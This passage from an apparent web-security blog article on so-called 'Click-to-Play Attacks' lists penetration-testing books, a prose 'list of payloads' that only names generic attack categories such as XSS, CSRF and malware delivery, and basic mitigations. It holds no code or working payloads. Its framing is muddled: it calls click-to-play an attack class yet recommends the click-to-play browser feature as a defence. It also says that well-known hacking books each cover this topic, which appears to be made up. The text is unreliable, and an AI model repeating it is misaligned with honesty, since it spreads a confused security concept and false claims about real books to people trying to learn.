  3. “Mastering Modern Web Penetration Testing” by Prakhar Prasad – This book covers a wide range of web application security topics, including Click-to-Play Attacks. It provides detailed guidance on how to identify and exploit vulnerabilities in web applications, and includes real-world examples and case studies.

  4. “Black Hat Python: Python Programming for Hackers and Pentesters” by Justin Seitz – This book is focused on using Python for web application security testing and exploitation, including Click-to-Play Attacks. It covers a range of topics, from basic web application security to more advanced topics like reverse engineering and exploit development.

  5. “The Basics of Web Hacking: Tools and Techniques to Attack the Web” by Josh Pauli – This book provides an introduction to web application security, including Click-to-Play Attacks, and covers the basic tools and techniques used by hackers to exploit vulnerabilities in web applications.

All of these books are highly recommended for anyone interested in learning more about Click-to-Play Attacks and web application security in general. They provide a solid foundation of knowledge and practical guidance for identifying and exploiting vulnerabilities in web applications.

List of payloads for Click-to-Play Attacks

Payloads for Click-to-Play (CTP) attacks can vary depending on the specific vulnerability being exploited and the attacker’s objective.

  1. Malware delivery: Attackers can use CTP attacks to deliver malware to the victim’s system, such as Trojans, backdoors, and keyloggers.

  2. Credential theft: CTP attacks can be used to steal user credentials, such as usernames and passwords, by intercepting login forms or phishing attacks.

  3. Cross-site scripting (XSS): CTP attacks can be used to execute XSS payloads that allow attackers to steal cookies, inject malicious scripts, or redirect the victim to a malicious website.

  4. Cross-site request forgery (CSRF): Attackers can use CTP attacks to perform CSRF attacks by tricking the victim into executing unauthorized actions on a vulnerable website.

  5. Remote code execution (RCE): CTP attacks can also be used to execute remote code on the victim’s system, allowing the attacker to take control of the system or escalate privileges.

  6. DoS attacks: Attackers can use CTP attacks to launch denial-of-service (DoS) attacks by consuming system resources, crashing applications, or overwhelming the victim’s network.

  7. Redirection attacks: CTP attacks can be used to redirect the victim to a malicious website, phishing site, or other types of unwanted content.

  8. Clickjacking: Attackers can use CTP attacks to perform clickjacking attacks by hiding a clickable element on a webpage and tricking the victim into clicking on it unknowingly.

  9. Malvertising: Attackers can use CTP attacks to inject malicious advertisements into legitimate websites, which can lead to drive-by downloads or other types of attacks.

  10. Information theft: CTP attacks can be used to steal sensitive information, such as credit card numbers, social security numbers, or other personal data, by intercepting web requests or exploiting vulnerabilities in the website’s code.

Mitigation and how to be protected from Click-to-Play Attacks

There are several ways to mitigate and protect against Click-to-Play (CTP) attacks:

  1. Keep your software up to date: Ensure that your operating system, web browser, and plugins are up to date with the latest security patches.

  2. Use a security solution: Implement security solutions like antivirus, anti-malware, and anti-phishing software to detect and prevent CTP attacks.

  3. Disable auto-play: Disable auto-play for videos, images, and other content in your web browser and email client.

  4. Use ad-blockers: Use ad-blockers to prevent malicious ads from loading on your computer.

  5. Educate users: Educate users about the dangers of clicking on unknown links or downloading suspicious attachments.

  6. Use click-to-play: Use the click-to-play feature in your web browser to prevent plugins from running automatically.

  7. Implement Content Security Policy (CSP): Implement CSP to prevent the loading of malicious scripts and content from untrusted sources.

  8. Use sandboxing: Use sandboxing to run web browser plugins in a separate process with limited system access.

  9. Perform regular security testing: Regularly test your system for vulnerabilities and security weaknesses, and take appropriate actions to remediate any issues.

By implementing these measures, you can greatly reduce the risk of falling victim to Click-to-Play attacks and keep your systems and data safe.

Conclusion

Click-to-Play (CTP) Attacks are a serious threat to computer systems and can be used by attackers to gain unauthorized access, steal sensitive data, and compromise system security. These attacks can be carried out using various techniques and tools, and can target different components of a system. It is important for individuals and organizations to take steps to protect themselves from CTP attacks by using mitigation techniques such as updating software, implementing security policies, and using security tools. Additionally, it is important for security professionals to stay up to date with the latest CTP attack methods and tools, and to constantly test and improve their defenses against these attacks.

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